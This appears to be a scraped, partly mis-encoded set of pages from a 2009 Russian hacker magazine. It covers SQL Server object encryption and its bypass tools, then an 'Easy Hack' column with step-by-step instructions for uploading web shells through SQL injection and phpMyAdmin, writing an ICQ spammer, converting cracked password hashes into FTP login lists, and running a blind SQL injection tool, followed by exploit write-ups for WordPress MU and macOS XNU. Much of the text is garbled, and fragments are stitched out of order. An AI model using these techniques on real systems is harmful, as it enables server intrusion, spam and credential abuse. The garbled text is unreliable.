> 4<br />
Проверим, в каком виде хранится процедура, с помощью<br />
специального средства для ковыряния в файлах базы.<br />
Подойдет SQL Server Syscomments Decryptor (www.<br />
geocities.com/d0mn4r/dSQLSRVD.html), который при<br />
отображении текста процедуры показывает одни лишь<br />
знаки вопроса. Все работает!<br />
Ïðèìåð èç ëè÷íîãî îïûòà<br />
Ñîòðóäíèêàìè îäíîé êîìïàíèè ïëàòåæíî-êàðòî÷íîãî ñåêòîðà âåëàñü áàçà äàííûõ äëÿ âûäà÷è çàðïëàò. Äëÿ ïðîñòîãî<br />
ïîíèìàíèÿ, — ïóñòü ýòî áóäåò ïðèìåðíî ñëåäóþùàÿ ñòðóêòóðà:<br />
warning<br />
Использование<br />
функций шифрования<br />
SQL Server<br />
совместно<br />
с параметром<br />
ANSI_PADDING<br />
OFF может привести<br />
к потере данных<br />
из-за неявных<br />
преобразований!<br />
034<br />
ID LastName FirstName Emp Sum<br />
354 Somov Oleg IT-Manager M0x8900f56543<br />
643 Antipova Alexandra Director 4343Lax#dsdsss<br />
411 Timurov Valeriy Technical Dep. 0x2322322222<br />
Âûáîðêó èç áàçû ÿ ïðèâåë àáñîëþòíî ïðîèçâîëüíóþ, à òåïåðü ñóòü èäåè. «Áåçîïàñíèêàìè» êîìïàíèè áûëî ïðèíÿòî<br />
âïîëíå áëàãîðîäíîå ðåøåíèå — øèôðîâàòü äàííûå î çàðïëàòàõ, êîòîðûå î÷åíü ÷àñòî áûâàþò «ñåðûìè». Èíñàéäåð<br />
ïîëó÷èë äîñòóï ê áàçå è ñèëüíî îáëîìàëñÿ, çàèìåâ èíôîðìàöèþ â òàêîì âèäå. Îäíàêî, îí íå îò÷àÿëñÿ è ïðîäåëàë<br />
ñëåäóþùèé ôîêóñ. Ðåçîííî ïðåäïîëîæèâ, ÷òî ÷åëîâåê ñ äîëæíîñòüþ äèðåêòîðà äîëæåí ïîëó÷àòü áîëüøå, ÷åì ïðîñòîé<br />
ìåíåäæåð, îí ïîìåíÿë ñîîòâåòñòâóþùèå ïîëÿ ñî çíà÷åíèÿìè çàðïëàò îäíî íà äðóãîå, òåì ñàìûì — ïîäëîæèâ áóõãàëòåðñêîìó<br />
îòäåëó àáñîëþòíî ëåâóþ èíôîðìàöèþ.  áëàãîïîëó÷íûé äåíü òàêàÿ âåùü ïðîêàòèëà, è âñå áåçîïàñíèêè<br />
áûëè óâîëåíû. Äëÿ ñïðàâêè: ýòèì ñîòðóäíèêîì áûë íå ÿ, êàê âïðî÷åì, è íå áåçîïàñíèêîì.<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
Òàê äåëàòü íå ñòîèò!<br />
Посчитанные временные результаты для<br />
применения крипто-алгоритмов в среде SQLсервера<br />
2005<br />
КАК ОБЛЕГЧИТЬ СЕБЕ ЖИЗНЬ?<br />
 SQL Server ìîæíî ñîçäàâàòü ÷åòûðå òèïà îáúåêòîâ (õðàíèìûå ïðîöåäóðû, ïðåäñòàâëåíèÿ,<br />
ïîëüçîâàòåëüñêèå ôóíêöèè è òðèããåðû) ñ ïàðàìåòðîì WITH ENCRYPTION. Ýòîò ïàðàìåòð<br />
ïîçâîëÿåò çàøèôðîâàòü îïðåäåëåíèå îáúåêòà òàêèì îáðàçîì, ÷òî òîò ìîæíî áóäåò<br />
èñïîëüçîâàòü, íî ïîëó÷èòü åãî îïðåäåëåíèå ñòàíäàðòíûìè ñïîñîáàìè ñòàíåò íåâîçìîæíî.<br />
Ýòî ñðåäñòâî ðåêîìåíäóåòñÿ è Microsoft. Ê ñîæàëåíèþ, íà ïðàêòèêå íèêàêîé çàùèòû<br />
ïðèìåíåíèå ñòàíäàðòíûõ ñðåäñòâ øèôðîâàíèÿ íå îáåñïå÷èâàåò! Àëãîðèòì, èñïîëüçóåìûé<br />
ïðè øèôðîâàíèè îïðåäåëåíèé îáúåêòîâ, âûãëÿäèò òàê:<br />
1) SQL Server áåðåò GUID òîé áàçû äàííûõ, â êîòîðîé ñîçäàåòñÿ îáúåêò, è çíà÷åíèå ñòîëáöà<br />
colid òàáëèöû syscomments äëÿ ñîçäàâàåìîãî îáúåêòà (÷àùå âñåãî, åãî çíà÷åíèå — 1 èëè 2)<br />
è ïðîèçâîäèò èõ êîíêàòåíàöèþ;<br />
2) Èç ïîëó÷åííîãî çíà÷åíèÿ ãåíåðèðóåòñÿ êëþ÷ ïðè ïîìîùè àëãîðèòìà SHA;<br />
3) Ýòîò õåø èñïîëüçóåòñÿ â êà÷åñòâå âõîäÿùåãî çíà÷åíèÿ ïðè ïðèìåíåíèè åùå îäíîãî<br />
àëãîðèòìà õåøèðîâàíèÿ — RSA. Ñ åãî ïîìîùüþ ãåíåðèðóåòñÿ íàáîð ñèìâîëîâ, ðàâíûé ïî<br />
äëèíå øèôðóåìîìó îïðåäåëåíèþ îáúåêòà;<br />
4) Ñ ýòèì íàáîðîì ñèìâîëîâ è ñ ðåàëüíûì îïðåäåëåíèåì îáúåêòà ïðîèçâîäèòñÿ îïåðàöèÿ<br />
XOR.  ðåçóëüòàòå ïîëó÷àþòñÿ äàííûå, êîòîðûå ïîìåùàþòñÿ â ñòîëáåö ctext òàáëèöû<br />
syscomments.<br />
Ó ýòîé ñõåìû åñòü äâà ñëàáûõ ìåñòà:<br />
• Íàì íè÷åãî íå ìåøàåò çàèìåòü èñõîäíûå çíà÷åíèÿ (GUID è colid) äëÿ âûïîëíåíèÿ òåõ<br />
æå ñàìûõ îïåðàöèé è ïîëó÷èòü êëþ÷ íà ðàñøèôðîâêó. Ýòî ìîæíî ñäåëàòü, íàïðèìåð,<br />
èñïîëüçîâàâ óòèëèòó dSQLSRVD. Ïðàâäà, äëÿ ïîëó÷åíèÿ GUID áàçû äàííûõ (è äëÿ çàïóñêà<br />
ýòîé óòèëèòû) íàì íóæíû ïðàâà ñèñòåìíîãî àäìèíèñòðàòîðà;<br />
• Åñëè ó íàñ åñòü ïðàâà íà ñîçäàíèå îáúåêòîâ â áàçå äàííûõ, ìîæíî ñãåíåðèðîâàòü òî÷íî<br />
òàêîé æå êëþ÷ äëÿ îáúåêòà, îïðåäåëåíèå êîòîðîãî íàì óæå èçâåñòíî (ïóòåì ñðàâíåíèÿ<br />
øèôðîâàííîãî îïðåäåëåíèÿ ñ íåçàøèôðîâàííûì). Íó è — èñïîëüçîâàòü åãî äëÿ ðàñøèôðîâêè<br />
çíà÷åíèÿ äðóãîãî îáúåêòà.<br />
Êàê ìîæíî ðàñøèôðîâàòü çàøèôðîâàííûå îáúåêòû íà SQL Server? Åñòü äâà âàðèàíòà:<br />
• Èñïîëüçîâàòü óòèëèòó dSQLSRVD. Îíà ïîçâîëÿåò âûáðàòü ëþáîé çàøèôðîâàííûé îáúåêò<br />
íà ñåðâåðå è çàïèñàòü åãî îïðåäåëåíèå â òåêñòîâûé ôàéë;<br />
• Èñïîëüçîâàòü õðàíèìóþ ïðîöåäóðó DECRYPT2K. Êîä íà ñîçäàíèå äàííûõ õðàíèìûõ<br />
ïðîöåäóð (â ðàçíûõ âàðèàíòàõ è ñ ðàçíûìè îáúÿñíåíèÿìè), êîòîðûå ðàñøèôðîâûâàþò<br />
îïðåäåëåíèå çàøèôðîâàííûõ îáúåêòîâ, ëåãêî íàéòè ÷åðåç Google.<br />
XP_Crypt избавляет от ручного геморроя по шифрованию нужных полей, позволяя настроить все<br />
через свою удобную оболочку<br />
В заключение — не менее интересный продукт<br />
XP_CRYPT (xpcrypt.com). Это средство<br />
осуществляет весь тот геморрой, который мы<br />
только что проделали вручную. Все, что от<br />
тебя требуется, — скачать дистрибутив проги,<br />
установить ее на сервер (к сожалению, есть<br />
версия только для Винды), обозначить свою<br />
базу данных и начать химию с таблицами с<br />
помощью удобного GUI-интерфейса.<br />
Организуем знакомство на примере из<br />
практики. Предположим, у нас есть интернет-магазин,<br />
где каким-то образом хранятся<br />
данные о кредитных картах клиентов<br />
(распространенная ситуация, хотя это<br />
категорически запрещено!). Наша задача<br />
— зашифровать конкретные данные о<br />
клиентах, т.е. поля с паролем, номером<br />
кредитной карточки и т.п. Пока мы ничего<br />
не делали, при запросе SELECT * FROM<br />
tbl_CCards, СУБД возвращает все в открытом<br />
виде:<br />
Username Password CredCardNum<br />
james god 1234567890123456<br />
lucas sex 2894787650102827<br />
anna love 3234563638716434<br />
Напишем внешнюю функцию UDF (расшифровывается,<br />
как «User-Defined-Function»,<br />
подробности — в последнем выпуске «Обзора<br />
эксплоитов») для преобразования строки в<br />
SHA-хеш:<br />
CREATE FUNCTION ud_MakeSHA1 (@<br />
clearpass VARCHAR (8000) )<br />
RETURNS VARCHAR (40)<br />
AS<br />
BEGIN<br />
XÀÊÅÐ 04 /124/ 09<br />
035
pc_zone<br />
С помощью тулзы SysComments Decryptor находим хранимую процедуру и убеждаемся, что она<br />
зашифрована<br />
Создаем простейшую хранимую процедуру<br />
У разработчика есть два варианта: использовать встроенное в MS SQL<br />
шифрование, что не очень хорошо, или воспользоваться возможностями<br />
SQL Shield<br />
DECLARE @ret as VARCHAR(40)<br />
EXEC master..xp_sha1 @clearpass,@<br />
ret OUTPUT<br />
RETURN @ret<br />
END<br />
Отдаем команду: UPDATE tbl_CCards SET<br />
password = dbo.ud_MakeSHA1(Password).<br />
После чего еще раз проверяем содержимое<br />
базы той же командой. Что видим? Все<br />
зашифровано, все пароли захешировались!<br />
Теперь нужно не забыть о том, что мы<br />
используем шифрование при обращении<br />
к базе. В нашем случае, когда ты будешь<br />
делать авторизацию пользователей, процедура<br />
проверки пароля по хешу будет выглядеть<br />
примерно так:<br />
CREATE FUNCTION ud_CheckUser (@<br />
username VARCHAR(16),@clear_pass<br />
036<br />
VARCHAR (16))<br />
RETURNS INTEGER<br />
AS BEGIN<br />
DECLARE @res INTEGER<br />
SELECT @res = count(*) FROM tbl_<br />
CCards where username=@username AND<br />
password=dbo.ud_MakeSHA1(@clear_<br />
pass)<br />
IF @res > 1 SELECT @res= 0<br />
RETURN @res<br />
END<br />
Проверяем исполнением команды:<br />
SELECT<br />
dbo.ud_CheckUser<br />
('anna’,'kolbaska')<br />
>1 (íåïðàâèëüíî)<br />
SELECT<br />
dbo.ud_CheckUser<br />
('anna','love')<br />
>0 (îêåéíî!)<br />
К шифрованию номера кредитной карты<br />
надо подойти более серьезно. Впрочем,<br />
мы не будем вникать в различного рода<br />
стандарты по информационной безопасности<br />
в платежно-карточной сфере (вроде<br />
PCI; хотя организации, работающие с кредитными<br />
картами, безусловно обязаны это<br />
делать). В бесплатной версии XP_CRYPT<br />
существует возможность генерации только<br />
256-битного ключа RSA.<br />
Вот этим-то как раз и можно воспользоваться<br />
(пусть упомянутый стандарт и требует,<br />
как минимум, 768-битного ключа). Я<br />
бы мог сейчас привести код по генерации<br />
публичного и приватного ключа, но… поступим<br />
проще. Все действия можно выполнить<br />
из понятного графического интерфейса, и<br />
во многих случаях оставить все на совести<br />
программы, не написав ни строчки кода.<br />
И поверь, будет работать!z<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Easy Hack}<br />
ХАКЕРСКИЕ<br />
СЕКРЕТЫ<br />
ПРОСТЫХ ВЕЩЕЙ<br />
ЛЕОНИД «R0ID» СТРОЙКОВ<br />
/ R0ID@MAIL.RU /<br />
АНДРЕЙ «SKVOZ» КОМАРОВ<br />
/ KOMAROV@ITDEFENCE.RU /<br />
PSYCHO.<br />
/ X0WL.X0WL@GMAIL.COM /<br />
¹1<br />
ЗАДАЧА: ЗАЛИТЬ ШЕЛЛ СРЕДСТВАМИ MYSQL<br />
РЕШЕНИЕ:<br />
1. Ищем на Web-сервере директории, доступные для записи. Заветный<br />
каталог может присутствовать в этом списке:<br />
/templates_compiled/<br />
/templates_c/<br />
/templates/<br />
/temporary/<br />
/images/<br />
/cache/<br />
/temp/<br />
/files/<br />
2. Мы уже подобрали колонки (допустим, их будет 4), и выполняем запрос:<br />
UNION SELECT "",2,3,4<br />
INTO OUTFILE "/var/www/html/temp/c.php" --<br />
3. Пользуемся шеллом по адресу http://victim.com/temp/c.php.<br />
¹2<br />
ЗАДАЧА: ЗАЛИТЬ ШЕЛЛ СРЕДСТВАМИ PHPMYADMIN<br />
РЕШЕНИЕ:<br />
1. Каким-либо образом получаем доступ к PhpMyAdmin.<br />
2. Для эстетики и удобства создаем новую базу:<br />
CREATE DATABASE 'backdoor'<br />
3. Ищем установочный путь базы<br />
SELECT @@datadir<br />
4. Выполняем запрос на создание таблицы:<br />
CREATE TABLE backdoor(<br />
Stack TEXT<br />
) TYPE=MYISaM;<br />
INSERT INTO backdoor(Stack)<br />
VALUES(<br />
'
взлом<br />
¹4<br />
ЗАДАЧА: ОТЛИЧИТЬ BIND 8 ОТ BIND 9, УЧИТЫВАЯ, ЧТО АДМИНИС-<br />
ТРАТОР УДАЛИЛ ПАРАМЕТР ВЕРСИИ В КОНФИГУРАЦИОННЫХ<br />
ФАЙЛАХ ДЕМОНА<br />
РЕШЕНИЕ:<br />
Принципиальное отличие — в Bind 9 (начиная с версии 9.1.0) появилась<br />
специальная служебная CHAOS-запись «authors». Для проверки<br />
этого параметра можно использовать штатные средства операционной<br />
системы.<br />
1. linux/freebsd<br />
dig ns.example.com authors.bind chaos txt<br />
2. windows/linux/freebsd<br />
% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com<br />
Server: ns.example.com<br />
Address: 23.23.23.23<br />
authors.bind text = «Bob Halley»<br />
authors.bind text = «Mark Andrews»<br />
authors.bind text = «James Brister»<br />
authors.bind text = «Michael Graff»<br />
authors.bind text = «David Lawrence»<br />
authors.bind text = «Michael Sawyer»<br />
authors.bind text = «Brian Wellington»<br />
authors.bind text = «Andreas Gustafsson»<br />
3. Получен ответ с «пасхальным яйцом» от разработчиков — следовательно,<br />
перед нами девятая ветка! Чтобы выявить и предотвратить такое<br />
обнаружение, администратор может предпринять следующую сигнатуру:<br />
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/<br />
named-probe-authors";<br />
content: "|07|authors|04|bind»; depth: 32; offset: 12;<br />
nocase;)<br />
В ней содержится синтаксис для мониторинга UDP-транспорта по 53 порту, по<br />
содержанию, приведенному в тексте запроса, с заданной глубиной поиска.<br />
¹5<br />
ЗАДАЧА: РАСШИФРОВАТЬ ОБФУСЦИРОВАННЫЙ ЭКСПЛОИТ<br />
РЕШЕНИЕ:<br />
Задача особенно актуальна, потому что таким макаром можно охотиться<br />
за новыми образцами сплоитов. В этом плане очень пригодится<br />
тулза под названием Malzilla (malzilla.sourceforge.net). Она содержит<br />
в себе десятки алгоритмов для дешифровки, среди которых unescapeпоследовательность,<br />
UCS2-кодировка JS и так далее. Итак, порядок<br />
действий:<br />
1. Копируем все вредоносное шифрованное содержимое на вкладку<br />
«Download».<br />
2. Жмем «Send script to Decoder», затем «Run script».<br />
3. В ответ получаем дешифрованный (или почти дешифрованный)<br />
сегментами сорец и линк на подгрузку файла.<br />
4. Если сделать это в один клик не получилось, играемся с «Misc<br />
decoders».<br />
Ресурсы, отслеживающие malware-активность онлайн:<br />
malwaredomainlist.com, zeustracker.abuse.ch.<br />
Дешифровка на лету! На выходе Malzilla показала линк с вредоносным .exe и деобфусцированный исходник эксплоита<br />
XÀÊÅÐ 04 /124/ 09<br />
039
взлом<br />
¹6<br />
ЗАДАЧА: НАПИСАТЬ ICQ-СПАМЕР НА PHP<br />
РЕШЕНИЕ:<br />
ICQ-спам становится все более актуальным. Это сложно не заметить,<br />
особенно, если тебе в асю ежедневно прилетает с десяток сообщений<br />
рекламного характера. Большинство качественных продуктов для подобных<br />
рассылок стоит денег, поэтому возникает вопрос: а не написать<br />
ли простенькую спамилку собственноручно? Например, на всеми нами<br />
любимом PHP. Думаешь, нереально? Ошибаешься, и сейчас я тебе это<br />
докажу:<br />
1. В своих начинаниях мы будем использовать специальный класс<br />
WebIcqLite.class.php, который ты сможешь найти на нашем DVD.<br />
2. Для успешного использования всех функций класса следует приинклудить<br />
оный в нашем скрипте —<br />
include('WebIcqLite.class.php');<br />
3. В общем виде, в качестве примера рассмотрим скрипт от Pashkela:<br />
<br />
4. В файле icq.ini располагаются данные по уинам:<br />
uin = 123456 ; UIN, ñ êîòîðîãî ðàññûëàåì<br />
pass = 1234 ; Ïàðîëü äëÿ UIN, ñ êîòîðîãî ðàññûëàåì<br />
file_uin = uin.txt ; Ôàéë ñî ñïèñêîì UIN äëÿ ðàññûëêè<br />
message = test, do not reply this message, bot-test ;<br />
Ñîáñòâåííî, ñàìà ìåññàãà äëÿ îòñûëêè<br />
pause = 2 ; Ïàóçà ìåæäó êàæäûì ñîîáùåíèåì, ÷òîáû íàñ íå<br />
çàáàíèëè (â ñåêóíäàõ)<br />
5. А в файле uin.txt лежит список уинов, по которым будет проводиться<br />
рассылка.<br />
Как видишь, все достаточно просто. Тебе остается лишь изменить сорец<br />
на свое усмотрение либо накодить новый :).<br />
¹5<br />
ЗАДАЧА: ОТПАРСИТЬ ДАННЫЕ ИЗ PASSWORDPRO ДЛЯ ИСПОЛЬЗО-<br />
ВАНИЯ В FTP-ЧЕКЕРЕ<br />
РЕШЕНИЕ:<br />
Для брута самых разнообразных хешей часто приходится использовать<br />
популярную утилу PasswordPro. Прога довольно удобна и отменно работает<br />
на забугорных ломанных дедиках :). Проблема лишь в том, что каждый раз<br />
парсить вручную результаты брута — утомительно. Представь, что ты нашел<br />
SQL-инъекцию на крупном портале, слил имена и хеши MySQL-юзеров<br />
и отправил их на брут в PasswordPro. Брутер с задачей справился, пассы<br />
найдены, и было бы неплохо попробовать их на FTP. Вот тут и появляется<br />
много лишней работы, а именно — преобразование сбрученных данных<br />
из PasswordPro вида «admin:5ba686200919b19f:narym7» в стандартный<br />
формат фтп-чекеров вида «ftp://admin:narym7@127.0.0.1». Итак, поехали:<br />
1. Первое, что нам нужно сделать, — слить уже готовый парсер «Small<br />
parser for passwordpro» от evil_packman’а с нашего DVD :). 2. Теперь экспортируем<br />
уже сбрученные акки из PasswordPro в файл first.txt, например:<br />
web:5ba686200919b19f:nfgavr<br />
2. Вспоминаем, установлен ли у нас PHP. Если нет — срочно идем на Гугл<br />
и качаем (еще пригодится:)).<br />
3. Созданный ранее файл first.txt (с акками из брутера) кладем в одной<br />
директории с парсером.<br />
4. Запускаем скрипт:<br />
C:\php\php C:\parser.php first.txt out.txt 127.0.0.1,<br />
— где first.txt — файл с данными из PasswordPro, out.txt — файл с отпарсенными<br />
аккаунтами, а 127.0.0.1 — IP ftp-сервера.<br />
5. На выходе рядом с парсером обнаруживаем файл out.txt с cодержимым:<br />
Парсим данные из PasswordPro<br />
admin:5ba686200919b19f:narym7<br />
news:5ba686200919b19f:wens6<br />
root:5ba686200919b19f:sawbdv<br />
swin:5ba686200919b19f:zasut4<br />
040<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
ftp://admin:narym7@127.0.0.1<br />
ftp://news:wens6@127.0.0.1<br />
ftp://root:sawbdv@127.0.0.1<br />
ftp://swin:zasut4@127.0.0.1<br />
ftp://web:nfgavr@127.0.0.1<br />
Все, теперь берем любой функциональный фтп-чекер и проверяем<br />
аккаунты к FTP.<br />
¹7<br />
• main.php — ñàì ñêðèïò<br />
• config.php — ôàéë ñ íàñòðîéêàìè ñêðèïòà<br />
• lib_and_data/grey_data.php — ñòàíäàðòíûé ñëîâàðèê ñ<br />
èìåíàìè òàáëèö è êîëîíîê<br />
• lib_and_data/function.php — áèáëèîòåêà ôóíêöèé äëÿ<br />
ðàáîòû ñî ñëåïûìè sql-èíúåêöèÿìè<br />
• dic/grey_table_name.txt — ñòàíäàðòíûé ñëîâàðèê ñ èìåíàìè<br />
òàáëèö<br />
• dic/grey_field_name.txt — äåôîëòîâûé ñëîâàðü ñ èìåíàìè<br />
êîëîíîê<br />
ЗАДАЧА: АЛЬТЕРНАТИВНЫМ СПОСОБОМ УЗНАТЬ ОС НА СЕТЕВОМ<br />
УРОВНЕ<br />
РЕШЕНИЕ:<br />
Как ты уже знаешь, Blind SQL-Injections представляют собой слепые<br />
SQL-инъекции, работа с которыми максимально затруднена. Если конкретнее,<br />
то раскручивать подобные баги ручками — дело неблагодарное.<br />
Поэтому, идея автоматизации процесса возникла давно и была успешно<br />
реализована в нескольких проектах, одним из которых мы и воспользуемся.<br />
Использовать будем скрипт от товарища Grey’я, ибо утила специально<br />
заточена под работу со слепыми скул-инъектами и мускулом. Из<br />
полезных фич скрипта следует отметить:<br />
• Âûâîä ñòàíäàðòíîé èíôîðìàöèè: version(), user(),<br />
database(), ïðè mysql >= 3 âåðñèè.<br />
• Ïîäáîð èìåí òàáëèö ïî âñòðîåííîé áàçå èìåí ëèáî ïî óêàçàííîìó<br />
ñëîâàðþ, ïðè mysql >= 4.1 âåðñèè.<br />
• Ïîäáîð íàçâàíèé êîëîíîê ê óêàçàííîé òàáëèöå ïî âñòðîåííîé<br />
áàçå èìåí êîëîíîê ëèáî ïî óêàçàííîìó ñëîâàðèêó, ïðè<br />
mysql >= 4.1 âåðñèè.<br />
• Âûâîä ðåçóëüòàòà óêàçàííîãî çàïðîñà, ïðè mysql >= 4.1<br />
âåðñèè.<br />
• Âûâîä ñîäåðæèìîãî óêàçàííîãî ôàéëà, ïðè íàëè÷èè ñîîòâåòñòâóþùèõ<br />
ïðàâ â mysql >= 3 âåðñèè.<br />
• Îïðåäåëåíèå äëèíû ðåçóëüòàòà óêàçàííîãî çàïðîñà, îñîáåííî<br />
ïîëåçíî ïðè âûâîäå ÷àñòè ñîäåðæèìîãî êàêîãî-ëèáî<br />
ôàéëà, ðàáîòàåò â mysql >= 4.1 âåðñèè.<br />
• Îïðåäåëåíèå èìåí òàáëèö è èìåí ÁÄ, â êîòîðûõ îíè íàõîäÿòñÿ<br />
ñ ïîìîùüþ information_schema.tables â mysql => 5<br />
âåðñèè.<br />
• Îïðåäåëåíèå èìåí êîëîíîê ê óêàçàííîé òàáëèöå, íàõîäÿùåéñÿ<br />
â óêàçàííîé ÁÄ, ñ ïîìîùüþ information_schema.<br />
columns â mysql => 5 âåðñèè.<br />
• Ñîïîñòàâëåíèå èìåí òàáëèö è èìåí ÁÄ, â êîòîðûõ îíè íàõîäÿòñÿ<br />
ñ ïîìîùüþ information_schema.tables â mysql => 5<br />
âåðñèè.<br />
• Ïîèñê äàííûõ â ôàéëàõ; ïî äåôîëòó èç ôàéëîâ âûäåëÿþòñÿ<br />
òàêèå äàííûå, êàê:<br />
• ïåðåìåííûå, êîòîðûå ìîãóò ñîäåðæàòü ïàðîëü;<br />
• ïåðåìåííûå, êîòîðûå ìîãóò ñîäåðæàòü äàííûå äëÿ ïîäêëþ-<br />
÷åíèÿ ê ÑÓÁÄ.<br />
• Âûâîä ñòàíäàðòíîé èíôîðìàöèè â PostgreSQL: version(),<br />
current_user(), current_database().<br />
• Ïîäáîð èìåí òàáëèö â PostgreSQL.<br />
3. Заливаем все вышеперечисленные файлы на наш (или не совсем<br />
наш) хост.<br />
4. Выставляем чмод на запись для каталога, в котором находятся скрипты<br />
config.php и main.php.<br />
5. Отредактируем config.php. Особое внимание надо уделить основным<br />
параметрам:<br />
$host = ''; // Àäðåñ ñàéòà<br />
$port = ; // Ïîðò<br />
$path = ''; // Ïóòü äî óÿçâèìîãî ñêðèïòà (íà÷èíàÿ ñ ‘/’)<br />
$vars = ""; // Ïåðåìåííûå (èëè ñîäåðæèìîå ÊÓÊÎÂ, åñëè<br />
sql-èíúåêöèÿ â ÊÓÊÀÕ): âíà÷àëå íåóÿçâèìûå ïåðåìåííûå ñ<br />
èõ çíà÷åíèÿìè,<br />
// à çàòåì, â êîíöå, óÿçâèìàÿ ïåðåìåííàÿ, âìåñòå ñ ñóùåñòâóþùèì<br />
çíà÷åíèåì, ÌÎÆÅØÜ óêàçàòü êàâû÷êó, åñëè îíà<br />
íóæíà<br />
$strend = ''; // Ñèìâîë êîììåíòàðèÿ ('--+', '/*', '#'),<br />
åñëè íóæåí<br />
$method = ; // (öèôðà): ìåòîä îòïðàâêè äàííûõ<br />
// 0 — POST; èíúåêöèÿ â ïåðåìåííîé òèïà POST<br />
// 1 — GET; èíúåêöèÿ â ïåðåìåííîé òèïà GET<br />
// 2 — GET/COOKIE; èíúåêöèÿ â COOKIE<br />
$type = ; // (0 èëè 1): òèï ðàñïîçíàíèÿ ïðàâèëüíîñòè âûïîëíåíèÿ<br />
sql-çàïðîñà:<br />
// 0 — ïðàâèëüíîñòü çàïðîñà îïðåäåëÿåòñÿ ïî íàëè÷èþ<br />
òåêñòà, êîòîðûé äîëæåí ïîÿâëÿòüñÿ òîëüêî ïðè óêàçàííîì<br />
çíà÷åíèè óÿçâèìîé ïåðåìåííîé<br />
// 1 — ïðàâèëüíîñòü çàïðîñà îïðåäåëÿåòñÿ ïî îòñóòñòâèþ<br />
òåêñòà (òåêñòà îøèáêè), êîòîðàÿ äîëæíà ïîÿâëÿòüñÿ ïðè<br />
íåïðàâèëüíîì âûïîëíåíèè çàïðîñà<br />
$text = ‘’; // Òåêñò, ïî êîòîðîìó áóäåò îïðåäåëÿòüñÿ ïðàâèëüíîñòü<br />
âûïîëíåíèÿ çàïðîñà<br />
6. Перейди в браузере по линку http://хост/каталог/main.php.<br />
7. Ждем 30 секунду, при отсутствии каких-либо ошибок — закрываем<br />
браузер и надеемся на лучшее.<br />
8. Через несколько часов смотрим результат в файле result.txt.<br />
Кстати! Помни, что время работы скрипта напрямую зависит от ширины<br />
канала твоего сервера, а также от нагрузки на атакуемую СУБД. z<br />
Конфигурируем инструмент для работы с Blind SQL-Injections<br />
Теперь рассмотрим алгоритм действий по установке, настройке и запуску<br />
утилы:<br />
1. Сливаем архив с тулзой с нашего DVD.<br />
2. Распаковываем архив, проверяем содержимое:<br />
XÀÊÅÐ 04 /124/ 09<br />
041
взлом<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
АНДРЕЙ «SKVOZ» КОМАРОВ<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
01<br />
МЕЖСАЙТОВЫЙ<br />
СКРИПТИНГ<br />
В WORDPRESS MU<br />
>> Brief<br />
Wordpress MU — версия известного блогосферного продукта, предназначенного<br />
для организации бесчисленного числа блогов на одном<br />
движке (а также — на одном сервере). Уязвимость была найдена в функции<br />
choose_primary_blog (в составе wp-includes/wpmu-functions.php).<br />
Рассмотрим код сего творения.<br />
1830 function choose_primary_blog() {<br />
1831 global $current_user;<br />
1832 ?><br />
1833 <br />
1834 <br />
1835 <br />
1836 <br />
1837 <br />
1852 <br />
1853 <br />
1854 <br />
1855
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
>> взлом<br />
>> Targets:<br />
Wordpress MU < 2.7<br />
>> Exploit<br />
$ curl -H "Cookie: " -H «Host: "<br />
http://www.example.com/wp-admin/profile.php> tmp.html<br />
$ firefox tmp.html<br />
if (n < 0)<br />
{<br />
fprintf (stderr, "failed i386_get_ldt(): %d\n", n);<br />
return (EXIT_FAILURE);<br />
}<br />
num_desc = n;<br />
printf ("i386_get_ldt: num_desc: %d\n", num_desc);<br />
>> Solution<br />
Производитель уже уведомлен о наличии бреши, но реакции пока не наблюдается<br />
(÷èòàé îäíîèìåííóþ ñòàòüþ â íàøåé ðóáðèêå è ïîéìåøü,<br />
÷òî WordPress ñëàâèòñÿ äàëåêî íå åäèíîé áðåøüþ, — Ïðèì. Forb).<br />
APPLE MACOS X XNU > Brief<br />
Множественные целочисленные переполнения в функциях Apple MacOS<br />
позволяют с помощью специального системного вызова i386_set_ldt или<br />
i386_get_ldt повысить привилегии локальных пользователей. Нетрудно<br />
сделать вывод, что уязвимость может быть эксплуатированной исключительно<br />
на Intel-based машинах. Не вдаваясь в подробности, скажу, что<br />
подобного рода уязвимость была обнаружена аж в 2005 году во FreeBSD<br />
(и нечему тут удивляться, ведь Unix-архитектура обеих систем консервативна).<br />
Такой же баг был найден и сравнительно недавно, но уже в<br />
MacOS. Напомню, что существует три вида таблиц дескрипторов: глобальная<br />
таблица (одна в системе — GDT), локальная таблица (может быть<br />
своя для каждой задачи), а также таблица дескрипторов прерываний.<br />
Локальная таблица (LDT) содержит только дескрипторы сегментов, шлюзов<br />
задачи и вызовов. Сегмент недоступен задаче, если его дескриптора<br />
нет ни в LDT, ни в GDT (потому что локальная дескрипторная таблица<br />
описывается дескриптором глобальной таблицы). Основа виртуальной<br />
памяти системы Pentium состоит из двух таблиц: LDT и GDT.<br />
Функция i386_get_ldt возвращает список дескрипторов, задействованных<br />
в LDT (Local Descriptor Table) в текущий момент. Базовый синтаксис<br />
вызова описывается следующей функцией:<br />
#include <br />
#include <br />
int i386_get_ldt (int start_sel, union descriptor<br />
*descs, int num_sels);<br />
Сообщив параметр экстремально большого размера, можно допустить<br />
копирование памяти ядра в пользовательское окружение.<br />
>> Targets<br />
Apple Mac OS X > Solution<br />
Сейчас как раз идет активное обсуждение решения.<br />
02<br />
FULL DISCLOSURE<br />
МНОГОЧИСЛЕННЫЕ УЯЗВИМОСТИ В<br />
FTP-СЕРВЕРАХ.<br />
>> Brief<br />
Одна из самых распространенных проблем безопасности будет отражена<br />
в этой заметке, а именно — fuzzing FTP-серверов. Сам процесс<br />
Вместо win32_exec payload’a мы могли бы выбрать что-нибудь более<br />
опасное, например, организацию удаленного шелла<br />
>> Exploit<br />
http://milw0rm.com/exploits/8108<br />
Ключевые фрагменты привожу ниже:<br />
#define TMP_FILE "/tmp/xnu-get_ldt"<br />
#define READ_SIZE 0x2000000<br />
int<br />
main (int argc, char **argv)<br />
{<br />
int fd, n, num_desc;<br />
